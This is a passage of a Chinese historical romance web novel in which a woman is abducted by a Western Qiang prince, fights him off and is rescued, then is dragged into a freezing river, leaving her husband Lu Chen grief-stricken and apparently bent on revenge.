陈隋本是奉了皇命要贴身守着谢云舟,此刻见这活祖宗竟要带人出府去,急忙上前拦阻,“小郡王,官家有……” 谢云舟一想她此刻可能遭遇的情形,浑身的血液都要凉透了,哪还有心思在这多作纠缠,当即便动了手,抬手猛地格开陈隋,怒喝一声:“滚开!”脚下分毫未停,疾步奔出院门。 眼见着那背影匆匆消失,陈隋心里直叫苦,自己实是倒了八辈子霉才摊上这差事,要应付这么个活祖宗。倘若出了什么岔子,他赔上一条命也担待不起,只得咬咬牙,硬着头皮提步紧追上去。 李桢坐在屋里,听见院中的动静,暗暗攥紧酒盅,指腹无意识地摩挲了几圈杯口。 他是特意掐着马行街得手以后才来的国公府,就等着安排好的人过些时候来报信,漏给谢云舟听上一耳,可陆谌的人怎的竟先一步找上门来了? ……莫非纵火之人这么快就被擒住、受刑不过全交待了? 如此一来生出变故,时间便多少有些仓促,也不知李保吉能否及时成事。 李桢不由蹙了蹙眉。 不过转念再想想,只要谢云舟赶过去能窥见个一鳞半爪,便已足够。 他这弟弟的脾性最是冲动刚烈,倘若教他亲眼目睹心爱之人被他最恨的羌獠折辱,必是要冲冠一怒为红颜。届时新仇旧恨一起算来,李保吉今日只怕难逃一死。 思及此处,李桢唇角微扬,不紧不慢地仰首饮尽杯中酒水,眼底闪过一丝阴冷之色。 那李保吉也是个蠢的,随意给他透点风声,再顺着多吹捧两句,野心膨胀起来,便不知自己是几斤几两了。 此事关乎两国边境安危,只要谢云舟铸下此等大错,还谈什么认祖归宗,便是官家有意偏袒,满朝文武也绝不会轻轻放过。 更妙的是,说不定还能让他们表兄弟彻底反目,真是叫人迫不及待地想瞧一瞧这出好戏。 第76章 自救 昏昏沉沉地不知到了什么光景,折柔被颈后的痛意唤醒,睫毛轻颤半晌,终于费力地撑开眼皮,却被室内刺目的烛光晃得眼前一白。 她下意识地抬手挡了一下,指尖划过冰凉柔软的帐幔,这才发觉自己似是躺在一张陌生的锦榻上。 缓过初醒那一阵的不适,先前马行街上的情形涌入脑海,折柔立时清醒过来,猛地坐起身子,警惕地四下环顾了一周。 屋中静悄悄的,不见旁人。 室内布置得靡丽堂皇,明烛高照,入目是旖旎的红纱七宝帐,四角还坠着雕花鎏金香球,一缕缕甜到腻人的脂粉软香直往鼻子里扑钻。 远处隐约飘来断断续续的丝竹曲乐,间或夹杂着几声女子的浅笑轻吟,和渺渺潺潺的水流声交织在一起,若有若无。 不像寻常人家女子的闺房,倒像是汴河夹岸一带,男人们寻欢作乐的去处。 折柔心头一沉。 再想一想马行街上的火势,显见是下了狠手,这般丧心病狂,必定不会是鸣岐所为。 将她掳到此地的,只会是图谋不轨的歹人。 好在手脚没有被捆缚住,她还能随意活动,趁着贼人还没过来,当务之急是要设法脱身,就算实在走不脱,也要寻一两样趁手的物什,用以自卫。 窗户是被封死的,折柔用力推了两下,槅扇纹丝不动,从屋内打不开。 折柔快步走到屋门前,试探性地伸手轻推了一下,门板微微晃动,伴着铁链碰撞的清脆声响。 果然,屋门也被人在外落了锁。 回身又去屋子里寻了一圈,此处虽是女子的住所,屋内却没有绣剪之类能伤人的锐器,连烛台都是浅碟状的蜡盏,内里没有烛插。 冷静。要冷静。 虽然不知贼人为何对她下手,但她在乱中被人掳走,平川寻不见她,定会立刻去给陆谌报信。 会有人来救她。 就算一时逃不出去,但只要她能拖延些时辰,一切都会有转机。 在陆谌寻来之前,要想法子自救。 折柔强迫着自己镇定下来,在屋中寻找能防身的东西,最后捡起支窗用的杉木短棍,掂量了两下,紧紧攥握在手里。 等到一会儿有人进来,若是能趁其不备,从门后突袭得手,趁乱逃出门去,那便最好不过。 折柔粗粗拿定了主意,却仍觉不够,四下寻摸片刻,又摔碎了一个茶盏,挑出最尖锐趁手的一片薄瓷,藏入枕下。 将将做好准备,门外忽然响起一阵脚步声。 折柔心脏砰砰急跳,勉强定了定下神,屏息快步躲到门后。 只听“哗啦”一声,门上的铁锁被人解开取下。 下一瞬,有人推开木门,迈步进来。 折柔咬紧牙关,使足了全身的力气,扬起木棍狠狠朝来人砸下去! 却不想那人的身手异常敏捷,偏头轻巧地躲过这一棍,顺势扣握住另一端,劈手便将木棍夺了过去。 折柔只觉虎口一麻,整个人被他拽得一个趔趄,险些向前扑倒在地。 来人缓缓转过身子。 室内烛光明亮,看清了这人的模样,折柔顿时骇然地睁大了眼。 ……是那个西羌人,李保吉! 那日曲池宴上,她曾见过一回,当时便觉这人居心不轨,却不想他竟当真敢在光天化日之下抢她来此! 李保吉掂了掂手中的木棍,轻蔑一笑,缓缓抬起阴鸷的目光,盯住眼前的女人。 原以为是个再柔弱不过的娇娘,竟还有几分胆色,这么瞧着,谢云舟那小子倒也不算眼瞎。 见他一步步迫近,折柔紧紧掐着掌心,竭力压住声音中的颤抖,问道:“你劫我来此,所为何事?你想要什么?” 李保吉看着她的目光直白又放肆,“自然是要你。” “我们西羌的男人若是看上了哪个女子,直接抢来叼回窝里便是,那姓谢的小子窝囊无能,竟眼睁睁看着美人别抱,活该他今日做王八!” 折柔的心彻底沉下去。 原来是这贼人和鸣岐旧仇难解,如今逞凶争斗起来,倒是殃及了她这条池鱼。 倘若他是别有所求,她尚且还有周旋的余地,可眼下他只为泄恨,只怕今日再难善了。 李保吉微微地眯了眯眼,用木棍挑起她的下巴,目光自下而上地轻佻打量起来。 柔白的纤颈,莹润的脸颊,嫣红饱满的唇瓣,再往上,狼隼一般的目光锁住那双惊慌中强作镇定的盈盈水眸。 像只惶遽待宰的羔羊,偏又带着点刺儿,有胆子敢冲他呲牙。 舌尖轻舔了舔后槽牙,李保吉忍不住低下头,凑到她颈边,闭上眼深深地吸了一口气。 折柔顿觉一阵恶寒,浑身的汗毛齐齐炸竖起来。 李保吉感觉到她温热急促的呼吸,鼻间嗅着那缕淡淡清幽的杏花香,立时便有些心猿意马,热血喧嚣涌动,喉咙里燥得隐隐发紧。 他早知人事,十余年来侍弄过的妇人不知凡几,倒还不曾尝过这细皮嫩肉的大周贵眷是何等滋味。 尤其还是他那血仇求而不得的心爱之人,只一想谢云舟知情后会有的反应,他便觉浑身血液沸腾,一股莫名的快意直冲头顶,让他兴奋得连指尖都在发颤。 喉结狠狠滚动了一下,李保吉猛地伸出手,铁臂一探,当即将人拦腰抱起扔到榻上。 这一下摔得颇为结实,折柔只觉眼前隐隐一阵发黑。 趁着身后之人还未逼近,她迅速地撑起身子,暗中从枕下摸出那片薄瓷,一面仓促地向榻尾缩去,一面冷声警告:“你既掳我来此,那便也应知晓,我并非寻常官眷,而是当朝三品上将军之妻,有朝廷诰命在身。 你若胆敢对我无礼,不论是小郡王,还是我夫君,都绝不会轻易放过!你若是为逞一时之快,却毁了同大周的亲事,这买卖当真值得?” 李保吉却好似听到了什么笑话,非但丝毫不为所动,反而慢条斯理地解起腰带,“和亲一事早成定局,本王今夜同你销魂一晚,明日便要随使团出京,等到他二人知晓……”顿了顿,他不屑地冷笑一声,“呵,早已于事无补,又能奈我何?” “我就是要让那姓谢的瞧一瞧,他心爱的女人是如何在我身下张开腿,被我侍弄得哭喊媚叫,活像个最下贱的伎子!“ 听他言辞下流得让人无比恶心,折柔心头一阵作呕,忍不住厌恶地蹙起眉,含怒斥道:“李保吉,你若还是个儿郎,便去战场上同仇人拼杀个高下,与我为难又算什么本事?!” 李保吉闻言一嗤,挑起长眉,不以为然地笑了笑:“你们汉人不是一向最喜骂我们羌人是獠子么?我们西羌的儿郎本就是苍鹰的后代,身负凶獠血脉,又岂会像你们中原人那般蠢钝迂腐?管它使什么手段,只要能往仇敌的心口捅刀子,那便是英雄好汉!” 眼见这贼獠已经单膝逼上榻来,折柔心脏突突急跳,自知不敌,不可轻易动手,只能竭力再设法拖延,“我曾听闻……西羌每逢初春,牛羊便易染瘴暴亡,你放了我……我有能治疫病的良方。” 李保吉动作微微一顿,“这是要同我谈条件?” 折柔强自镇定地看向他,静声道:“不过是一桩各取所需的交易罢了。” 李保吉饶有兴致地打量她片刻,忽然举起手,清脆地击了两下掌。 不多时,屋外响起一阵细碎的脚步声,婢女恭敬的声音在门口响起来,“敢问贵人有何吩咐?” 李保吉道:“进来送酒。” 婢女立刻应了声是,很快便端着缠枝梨木托盘步入内室。 李保吉含笑瞥了一眼折柔,随意地朝那婢子招了招手。 待到婢子行至榻前,折柔甚至不及看清他出手的动作,只听见“喀拉”一声脆响,那婢子登时被掐碎了喉骨,连呼救都不曾发出一声,便如破布一般瘫软在地,顷刻气绝。 折柔顿时失声惊叫。 看见她终于被吓到惊惧失色,脸上再也强撑不住方才的镇定,李保吉这才心满意足地纵声大笑起来。 好半晌,折柔都没有从他随意暴起杀人的惊吓中缓过来,只能睁大了眼睛死死地盯着他,胸口急剧地起伏。 “现在知道怕了?”李保吉漫不经心地擦了擦手,嗤笑道:“她既生在这伺候人的下贱地方,那就是条贱命,连一张寻常的狐皮都不值。至于你……倒是大有不同,人和方子,我都要。” 折柔浑身止不住地发冷。 这西羌贼子分明就是一头丧心病狂的禽兽畜生,全然不可用常情理喻。 见了血,他似乎愈加被激起了凶性,连瞳仁都已亢奋得微微发红,呼吸也变得粗重起来。 “怎么,还想拖延时间,等人过来搭救你么?”李保吉轻声笑了笑,如同一头蓄势待发的野兽,俯身朝她迫近,“趁早死了这条心吧,老实些,我还能让你爽利爽利。你那夫君我也见过,瞧着是比姓谢的多了几分狠劲,却也一副旧伤缠身的短命相,怎比得上我西羌男儿精壮悍勇?定不如我能让你快活。” 折柔本能地向后退去,手中越发攥紧了瓷片。 事已至此,唯有一搏!哪怕不敌,也绝不能束手就擒,任由贼人这般肆意宰割。 下一瞬,李保吉手上使了力,一把扣住折柔的肩头,将她捉到身前。 就在他俯身压下的瞬间,折柔用尽全身的力气,将瓷片狠狠地朝他颈侧划去! 李保吉自觉先前那一番已经将她彻底震慑住,万不曾想到她竟还有这般的反抗之举,尽管本能地偏头躲避了一下,颈侧仍是被锋利瓷片划出一道狰狞的血痕。 几滴温热黏腻的鲜血飞溅到脸颊上,折柔强忍着没有闭眼,手中仍旧死死攥着瓷片,胸口剧烈起伏,呼吸急促而凌乱。 李保吉几乎是不可置信地摸了一把脖颈上的伤处,待看清了那一掌心的鲜血,顿时心生暴怒,扬起手正要朝她狠狠扇下去,屋门忽然被人急促拍响—— “二王子,出事了!” 李保吉猛地扭头怒吼:“滚!都给本王滚!” 那羌卫的声音却变得惶急起来:“二王子,汉人的禁卫追过来了,人数不少,说是要捉拿细作要犯!” 李保吉身形一滞。 侧耳细听,远处的声音渐渐变得杂乱,隐有火光交错,看着倒像是来者不善。 李保吉转过头,目光再次落到折柔身上,心下惊疑不定。 他自信救兵不该这么快寻到踪迹,思量片刻,扬手招呼来羌卫,低声交待了两句什么,这才起身出门。 第77章 意外 大周承平日久,上京城中繁华富庶,汴河夹岸的瓦子里有大小勾栏百八十座,大者可容纳数千人,小者更是精致浮靡,往来尽是达官显贵。 将一入夜,这些毗邻错落的小院便高高升起彩旗绣幌,在四角飞檐悬上旖旎的红纱栀子灯,整夜笙歌不休。 此刻正是酒至半酣、眼饧耳热的时候,满院旖旎靡丽的气氛却被突然闯入的冷肃兵卒冲撞得七零八碎。 一列列披甲执锐的禁军气势汹汹地冲进来,铁甲森然,啷啷作响,四下里惊呼声一片,方才还笙歌靡靡的庭院,霎时乱作一团。 “让开!官府办案!” “挡路者死!闲杂人等速避!” 李保吉怒骂一声,漫不经心地扯了扯衣襟,大步走出前院长廊。 院外火把如龙,映得四下通明如昼,上百名铠甲鲜明的军士已将前院围得水泄不通。 当先之人一袭细鳞银甲,腰挎长刀,忽明忽暗的火光落在那张轮廓分明的脸上,勾勒出一双冷冽锋利的眉眼。 竟还真是这个姓陆的。 李保吉面色微微一变。 陆谌立于阶下,目光一瞬锁住了他颈间那道狰狞的血痕,背后猛地沁出一层冷汗,心头的惊怒简直难以言表,不觉就握紧了刀柄,手背上青筋根根突起。 那伤口仍在淌血,血渍分毫未凝,显见是将将割破不久,前后不会超过一盏茶的功夫。 这伤是怎么来的,不言自明。 他几乎不敢去想她此刻的情形,甚至也不必去想。 若非这畜生蓄意逼迫,她又何需拼死自卫。 这本不该是她做的事! 陆谌缓缓抬眸,和李保吉对视,声音彻底冷沉下来,几要掩不住森然杀意,“禁军追查细作,闲人退避。” 一想到自己好事还未成,搅局的竟然先寻过来了,李保吉心头顿时泛起一丝焦躁。 那女人到底是个官眷,若是在这里被搜出来,应付起来是有些麻烦。 “本王不曾见过什么细作,要查就去别处查。” 陆谌眸色沉静,扯唇冷哂道:“此事由不得二王子做主,我既得了线报,职责所在,今日必得彻查此地。西羌求亲一事得来不易,还望二王子——”故意停顿片刻,话音陡然一沉,“莫要逼我动武。” 听出陆谌话中的威胁之意,李保吉眼神一瞬变得阴狠,凉笑着反问:“若是扰了本王的兴致,你能担待得起?” 陆谌面无表情地看着他,仿佛在看一个死人,“倘若细作贻误我大周城防要务,只怕二王子更担待不起。” 李保吉闻言微眯了眯眼,轻嗤一声:“你这是在威胁——” 不待他话音落下,陆谌已向前踏出半步,眼神冷厉如刀。 “锵——” 见他动作,左右禁军骤然拔刀,数十柄长刀同时出鞘,明晃晃的刃尖直指李保吉。 迎着穹际清淡的月色,锋锐的钢刀折出一片刺目的寒芒,如电似练,在他颈间投下一圈圈冷冽的光晕。 院中忽然安静一瞬。 李保吉舔了舔后槽牙,抬起头,阴恻恻地看向陆谌。 到底是沙场上拼杀出来的悍将,手上沾过血,和那等在富贵窝里泡软了骨头的纨绔子弟不同,是当真有血性同他动手,真打起来他也未必讨得了好。 虽说他恨不能恶心死那谢云舟,但到底不值当为此耽搁了亲事,为今之计,不如先将人送走,左右成事也不急在一时,就算实在不成,大不了换处僻静的地方,将那女人一刀杀了,照样能泄恨。 打定主意,李保吉将一只手背到身后,做了个手势。 廊角的阴影处,立刻有一个羌卫悄然退了下去。 陆谌余光扫见那厢隐秘的动静,面上却只佯作未察。 今夜他之所以能强压着满心的惊怒躁恨,按耐着杀意不曾动手,等的就是这一刻。 自一接到消息,他便率人片刻未停地搜寻,终于找到线索,却查知李保吉重金包下了整整这一溜的雅间小院。 这一排勾栏小院临水而建,其间水阁密如蜂巢,汴河支流纵横交错,暗渠连通各院后门,只需一艘小舟便能悄无声息地将人送走。 而她的安危就在顷刻,晚一分,她便多一分遭人欺辱的危险,现去调船封河已然来不及。 若是一间间水阁搜过去,只怕搜到三更半夜也难觅踪迹,反倒要惊动贼獠,更不知会在暗中将她送去何处,甚至干脆于混乱中杀她灭口。 届时再将一切推称为误会,和亲大事当前,即便闹到朝堂上,至多也不过就是赔礼了事。 事关她的性命安危,他一丝一毫都赌不起。 只能暂且先闹大了动静,将李保吉引出来,逼这贼獠主动露出破绽,再让谢云舟尾随上去救人。 陆谌不动声色地收回视线,微扬了扬下颌。 谢云舟正带着人伏在一旁的屋顶上,见状,立刻悄无声息地缀了上去。 瞥见暗处的护卫已经退去后院,李保吉往前走了半步,存心再拖延些时间,冲着陆谌挑衅一笑,“将军这般着急,不知道的还以为是丢了夫人娘子,满城找呢。” 陆谌忽地扯唇笑了笑,淡淡道:“二王子大抵有所不知,上一个算计我妻之人,已教我亲手扔进汴河里喂了鱼虾。” 说着,那双漆黑的眼盯在李保吉面上,幽似寒潭,“倘若有哪个不要命的,胆敢欺负到我妻头上,我必定要将其千刀万剐,方可稍泄心头之恨。” 屋里,折柔不知前院出了何事,只听着呼喝声脚步声乱作一团,像是起了不小的冲突。 见此刻守卫松懈,折柔心一横,毫不迟疑地趁乱往外逃,可还不及跑到门外,两个羌兵便赶了回来,拦住她的去路。 两名羌卫用铁钳般的大手死死扣住她纤细的手臂,捂住她的口鼻,将她粗暴地朝后门方向拖拽。 折柔心头大骇。 三月初春,正是寒意料峭的时节,她将将从屋中出来,先前被冷汗浸透的衣衫紧贴在背上,经夜风一吹,刺骨的凉意顿时渗入骨髓。 前院的动静……会是陆谌么? 陆谌生性谨慎多思,倘若是他来救人,绝不会只用蛮力强闯,必定还有后手,她绝不能就这般任由羌贼悄无声息地带走! 折柔被两个羌人挟持着往石阶下拖去,趁着脚下踉跄,用力踢翻一个花盆。 “咣当”一声,瓷器碎裂的声音在夜色中格外刺耳。 谢云舟追到后院的阴影处,刚好听见这一声响动,当即听声辨位,挽弓搭箭—— 下一瞬,锋锐箭簇挟着破空的啸声急赶而至,猛地贯穿她身侧羌卫的咽喉! 折柔只觉颊边一热,温热的鲜血溅了她满脸,耳边传来羌卫“嗬嗬”的气音,钳制着她右臂的力道骤然松开。 折柔顿时僵住,本能地睁大了眼,回头看过去,借着月光,茫然间看清了那双熟悉清俊的眉眼。 是鸣岐。 有人来救她了。 折柔眼眶一瞬湿热,想要唤他,却发不出声。 谢云舟一眼便瞧见了她,此刻一箭得手,纵身急追过来,“九娘!别怕!” 剩下的那个羌卫见势不妙,应对奇快,反手从腰间抽出匕首猛掷过去,趁着谢云舟侧身闪避的空隙,一把将折柔抗上肩头,发足狂奔,拐过院门,身形一闪而逝。 谢云舟疾追不舍,却不想这羌獠身手竟十分了得,肩上虽还扛着一个人,脚下却几乎没有分毫停歇,一跃便翻过矮墙,径直跳上早已停在河面的一条乌蓬小船,抽刀劈断揽绳,猛地一撑长杆,小船如离弦之箭般顺流而下,转眼就要遁走不见。 好在陆谌已事先派船封锁后门河道,只不过这排临水小院连绵数里,难以确知羌獠会从哪个院门送人离开,预先埋伏的船只离得稍远了些。 陈隋带着几个禁卫守在船上,听见动静急急摇棹而来,谢云舟一跃上船,带人朝着那条乌蓬小舟急追过去。 月色下两条小船一前一后,眼见一时半刻追赶不及,谢云舟心急如焚,一把抄起长弓,借着月色,三箭齐发。 夜色茫茫,那羌人只见一道寒光破空而来,匆忙提刀格挡开,却不想还有两箭紧随而至,咻咻破空,正中心口,透骨而出。 羌人痛吼一声,猛地拔出一支染血的箭簇,眼中凶光未散,犹似不甘地向后仰倒下去。 “砰”地一声闷响,尸身砸得船身剧烈摇晃几下,溅起一片水花。 身后的桎梏终于消失,折柔浑身的力气仿佛一瞬被抽干,双腿一软,整个人顺着船篷滑坐下来,急促地喘息着,冷汗浸透衣衫,湿漉漉地黏在后背上。 谢云舟灼灼关切的目光朝她望过来。 隔着水面上粼粼的波光,四目相对的刹那,折柔顿觉鼻间酸热,唇瓣不自觉地轻颤了颤,“鸣岐……” 谢云舟紧绷的心弦骤然松开,这才后知后觉地感到手脚发软,不得不借长弓稳住身形,清越含笑的唤声穿透河风:“九娘!” 船上众人俱都松了一口气,相视而笑。 歇缓了片刻,见谢云舟的小船就要追赶上来,折柔勉强定了定心神,一手撑住船篷,正要起身迎上去,却不想足腕突然一紧—— 那本该气绝的羌人竟如诈尸般暴起,铁铸般的大手一把扣住她的脚踝,死死攥紧,带着千钧之力将她拖下船舷! 这一遭变故实在太过突然,折柔完全来不及反应挣扎,甚至连惊叫都不及发出,便被那羌人死命地钳住,整个人重重坠入冰冷的汴河,瞬间便被河水吞没。 “扑通”一声巨响,无数水花飞溅。 “……九娘!” 险情突生在电光火石间,谢云舟脸色骤变,想也未想纵身就要跳船入河,却被陈隋从后死死抱住,“小王爷不可!让会水的禁卫下去救人!” 如今时值三月,春冰乍泮,河水冷寒彻骨,犹见残冰,更不必说此处恰在虹桥下段,水势最为峻急,水下更是暗桩密布,寻常人一旦落水,只怕命在旦夕[1]。 陈隋双臂如铁箍般收紧,冷汗涔涔浸透后背,倘若谢云舟有个闪失,他万死难辞其咎! “滚开!”谢云舟暴喝一声,猛地挣脱桎梏,一跃扎入河面,朝着她落水的方向拼命游去。 陆谌乍一听见后院有打斗声响起,当即扣住李保吉扔给禁军,一路拔足狂追至此,却正正撞见她被挟落水,甚至只来得及看见她一片翻飞的衣角,没入冷沉的河水中。 目眦尽裂,神魂俱散。 “妱妱——!” 第78章 死志 谢云舟不知在水里寻了多久,却连她的半片衣角都没能碰到,冻得唇色青白,死活不肯上船,直到最后被禁军强拖上了岸,却伏在地上急咳不止,指缝间布满点点暗红。 陈隋见状大惊失色,赶忙将人搀扶起来,急声劝道:“小王爷!那位娘子……大抵,大抵是救不上来了,您这情形不可再拖,得尽快回去看医官!” 谢云舟浑身湿透,脸色苍白不见丝毫血色,指节死死攥住他的衣袖,嘶声低吼:“去找!再去……再去叫人来!非找到不可!” 陈隋没办法,实在担不起这个干系,一咬牙,抬掌劈在他颈后,干脆利落地将人砸晕了过去。 陆谌赶到不久,谢云舟已被陈隋强行带走。 此段汴河水急,是以官府每隔一里便设有救急铺兵,南衡已去传了信,很快便有郎将领着铺兵疾驰赶到,数十名精通水性的禁卫与铺兵轮番扎入冰冷的河水中,反复搜寻。 两岸火把如龙,不断有新调的援兵赶过来,人马纷乱杂沓,河面上船只往来不休,呼喝声和哗啦水声嘈乱地交错成一片。 陆谌沉默地伫立在岸边,等着消息。 夜色如墨汁般渐次洇开,天际浮起一线泛着青灰的浅白微光。 已是整整一夜过去了。 郎将前来复命。 “上将军,末将已经搜遍此段河道,不曾……不曾发现夫人踪迹。” 陆谌一动不动,恍若未闻。 “上将军或许有所不知……自今春开河以来,汴水中或因覆船,或因投河,各里铺兵有记载的,总计坠河四十余人,活者不过……” 说着,郎将顿了顿,抬起头,小心地觑了他一眼,声音愈发地低下去,“不过五人……” 话音落下,空气一霎陷入死寂。 陆谌静默良久,一直到那郎将额上都沁出一层冷汗,快要站立不住,他才张了张口,轻轻地吐出一句话来:“不是还有五个?” 郎将犹豫半晌,把心一横,硬着头皮直言劝道:“上将军,虽活下来五人,可存者俱是水性上佳的壮年船工,这等料峭的气候,便是壮汉都难熬,体弱单薄的寻常女子如何禁得住?更不必说……还不会凫水……” 陆谌的脸色陡然变得森冷阴寒。 郎将顿时心惊肉跳,低下头大气都不敢再喘。 许久,陆谌闭了闭眼,一字一句道:“哪怕把汴河给我翻过来……活要见人,死要——” 话音戛然而止,喉结剧烈滚动数下。 他死死咬住了牙关,额角青筋暴起,半晌,到底还是没能吐出那个字来。 一众禁卫和铺兵只得听令行事,南衡转头带了两队人马分头搜寻,一路继续在河面上捞人,一路沿河去夹岸寻找尸首。 陆谌双眸泛红,死死盯着河面。 汴河乃南北漕运命脉,每日漕船往来如梭,承运粮米六万石,供养城中百万之众,虹桥下的暗渠穿城而过,河面宽荡,可并行五艘纲船,最深处五丈有余,湍流泛着幽暗的青光,暗潮呜咽着汇入淮河,昼夜不休。 一个人坠入这阔荡的河水中,便如一滴朝露落入浩瀚江海,转瞬即逝,再无踪迹。 陆谌忽觉胸腔像被巨石压住,一阵挤压般的窒息猛然袭来,天边初现的曦光刺得他眼前发黑,耳畔嗡鸣不止,周遭的声音都变得渺远飘忽。 谢云舟被强行送回禁中,次日甫一清醒,他立时便挣扎着要强闯出宫,偏又被禁军团团拦住,急怒之下大病一场,整整三日水米未进,望着人时眸光沁血,森冷如刀,往日张扬肆意的模样荡然无存,竟隐隐透出一股死气。 官家见此,到底不能全然狠下心肠,索性又增派了些人手,放他出去寻人。 有他看着河面上的动静,陆谌便亲自带了人,沿岸一寸寸往下游搜寻。 数不清的铺兵禁军一连搜寻了十余日,汴河上打捞的船只不曾有半刻停歇,虽一直没有寻到她的踪迹,却也不算一无所获。 先是捞出了当夜和她一同坠河的羌人尸首,那人手里还紧紧攥着她的玉锁,似是在挣扎撕扯间拽断。 三日后,铺兵又捞上一件染血的女子衣衫,草草辨认后立时送到岸边,胆战心惊地拿给陆谌过目。 自她落水那刻起,数个日夜以来,陆谌的身心俱已支离崩溃。 咬牙强撑到此刻,恍惚间听闻消息,又过了一会儿才回过神,他面无表情地抬起头,涣散的目光慢慢聚集到那大片的血迹上。 然而刚朝前走出一步,陆谌忽然俯身剧烈地干呕起来。 起初还只是几声闷咳,转眼间却呕出一大口鲜血,猩红的颜色溅在初春新发的嫩芽上,触目惊心。 “郎君!”南衡不忍看他这副模样,一把攥住他的胳膊,低低恳求,“让属下去认。” 陆谌轻摇了摇头,按住他伸来搀扶的手,沉默地抹去唇边血迹,缓步走了过去。 目光平静地定住。 是她的衣衫。 她似是被河中锋锐的浮冰划伤,衣衫肩头处划开一道长长的裂口,大片大片的血迹晕染开来,狰狞得刺目。 一个不会凫水的纤弱女子,在那等湍急冰冷的暗河中受伤流血,无论如何也熬不过半刻钟。 生机已绝。 这结果已是不言自明,南衡心头猛地一沉,不自觉地屏住呼吸,紧张地望向陆谌。 陆谌却似乎没有太大反应,只是沉默地站了半晌,转身,慢慢往回走了两步。 如此反常的举动实是教人愈发不安,南衡忐忑至极,心头突突直跳,正要跟上去,却见陆谌脚下忽然站定,低低地唤了一声,“南衡,来扶我一把。” 南衡急忙追上前,却见他僵硬地伸出手,朝半空中摸索似的探了探。 心下猛地一惊,南衡下意识抬头朝陆谌脸上看去,竟见他双眸赤红如血,眼神散乱,似是已经无法聚焦。 南衡喉间发紧,声音几乎哽住:“郎君,你的眼睛……” 陆谌怔了怔,迟缓地看向他声音传来的方向,略点了下头,嗓音低哑:“我看不见了。” “郎君!”南衡惶然失声。 陆谌无声地摇了摇头,似乎还要继续往回走,下一瞬,却在护卫的惊呼声中,身形一晃,猝不及防地倒了下去。 …… 不知到了什么光景,他好像又看见了她。 在洮州城外,四面青山如黛,一陂春水环绕,她赤着足站在潺潺的小溪中,回过头冲他笑,“陆秉言!” 水面映着日光,折射出一片潋滟粼波,刺得他眼前一阵晕眩。 那溪水分明极浅,他心头却猛地揪紧,踉跄着蹚水追赶过去,“妱妱,回来!” 可她只是笑,明媚的日光下,眉眼盈盈地冲他招手。 清澈的溪水漫过她纤白的脚踝,海棠色的发带在风中轻轻飘动,整个人渐渐融进那耀眼的日光里。 “妱妱!” 陆谌猛然睁开眼睛。 夜风寂寂,无声拂过帷帐。 原是个梦。 原是个梦。 他不知何时昏晕过去,又再度被梦境惊醒。 陆谌慢慢闭上眼,脸上不知何时已是一片湿凉。 静默良久,他颓然倚着榻边瘫坐下来,僵硬而麻木地拉开床脚那个熟悉的抽格。 里面是当初在洮州时给她做的磨喝乐。 启程来京之前,她用软布仔仔细细地裹了一层又一层,小心地带到上京,还给做了小衣裳。 原本只是两个粗糙简陋的小泥人。 后来又添了一个描金绘彩的胖娃娃。 尽管熬过了先前的那阵急火,他双眼的情形已大有好转,视物却仍有些费力,看什么都像蒙着层薄雾。 陆谌微微眯起眼,沉默地凝视着那个圆滚滚、白乎乎,憨态可掬的胖娃娃,心口处慢慢泛起一阵迟缓而剧烈的疼痛,又逐渐蔓延至四肢百骸,连骨缝里都渗出丝丝酸冷。 一切的一切,皆是因他而起。 错皆在他。 他越是想留下她,便越是不得其法,将她越推越远。 甚至于……害她至此。 他知错了。 他当真知错了。 可是……她却不在了。 内里早已寸寸撕裂崩断,数不清的鲜血在躯壳里无声奔涌,他却如同一头被人死死扼住咽喉的困兽,连半声痛呼都发不出来。 陆谌疼得弓起腰背,脊骨佝偻下去,就这般伏跪在地,整整一夜一日过去,无声无息,分毫未动。 南衡屏息凝神地守在门外,连呼吸都放得极轻,生怕错过屋内一丝一毫的动静,掌心不住地沁出冷汗。 一直提心吊胆地挨到次日日头落下,夜色浮起,四下里都掌了灯,那扇紧闭的房门才终于“吱呀”一声,似是有人起身走出来。 南衡一听见声响,当即转身迎上前去,却又在看清陆谌模样的瞬间生生顿住,整个人如遭雷击,愕然地睁大了眼。 不过一夜之间,青年原本乌黑的发间竟已泛起斑驳灰白,两鬓尤为明显,迎着廊下明亮的灯火,仿佛染上了一层白霜。 南衡震惊失语,久久不能回神。 当年在洮州的战场上,是陆谌将他从死人堆里刨出来、背回了大营,让他捡回一条命。 这些年来,他们名为主仆,可实则早就是过命的兄弟,他见过郎君无数模样,可任他如何也想不到,郎君今年将将才二十有四、本该意气风发的年岁,竟会……一夜白头。 “郎君……”南衡眼圈一瞬泛红,半晌,方才张了张口,轻唤了他一声。 陆谌并不知晓自己形貌有变,在廊下静立片刻,哑声唤他:“诸多部将之中,你是我最为心腹之人。我有两桩要紧事,需得交由你去办。” 南衡愣怔一瞬,随即挺直腰背,强自压住喉间哽咽,沉声应道:“郎君尽管吩咐,属下赴汤蹈火、万死不辞!” 陆谌循着廊下的光亮,垂眸看了他一眼,淡声交代:“前些时日,我与妱妱在上京的资财和铺面已经盘点清楚,马行街的那间药铺留下,过到小婵名下,余者尽数变卖,所有钱财一分为二。” “其中半数交由我母亲,剩余半数,你收下,算作我与你的酬劳。” 南衡怔了一瞬,愕然抬头:“郎君?” 陆谌却恍若未闻,语气平静和缓:“其一,待来日将她的衣冠下葬后,你要代我,为她守坟三载。” 他的声音很低,很哑,缠裹着夜风里的凉意,如同一缕缥忽不定的寒雾,偏又一字一字重若千钧。 南衡浑身一颤,顿时察觉有哪里不大对劲,一股寒意自脚底窜上脊背:“郎君这是——” 陆谌眸色却愈发沉静,眼中不见一丝波澜,只继续吩咐道:“其二,从今往后,每月初一十五,要为她抄经祈福,不可敷衍懈怠。每年她阿娘和爹爹的生辰死忌,需得去坟前祭扫、相国寺的供奉亦不可断绝。” 南衡越听,心里便是越慌恐无措,即便自己再迟钝,此刻也意识到他这是在交代身后事。 南衡心头一紧,满腔的悲愤酸涩再也压抑不住,眼中热泪滚落下来,喉头哽咽得一句话都说不出。 若说从前娘子数度离开,郎君心中尚有个念想,要将人寻回来团聚、往后好生过日子,可如今,娘子这一走,那和直接带走了郎君的一条命又有何分别? 分明是……死志已坚。 南衡心中悲痛已极,却又不知要如何劝阻,一时间急得语无伦次,“郎君,郎君不可……” 陆谌沉默许久,方才哑着嗓子,极慢、极慢地开口道:“不必担心,一时半刻,我死不了。” 夜风萧瑟,冷月如霜。他缓缓抬起头,望着西北的方向,平静的眸光中闪过一丝冷冽阴沉。 “她的灵前,还缺一样祭品。” 第79章 牢狱 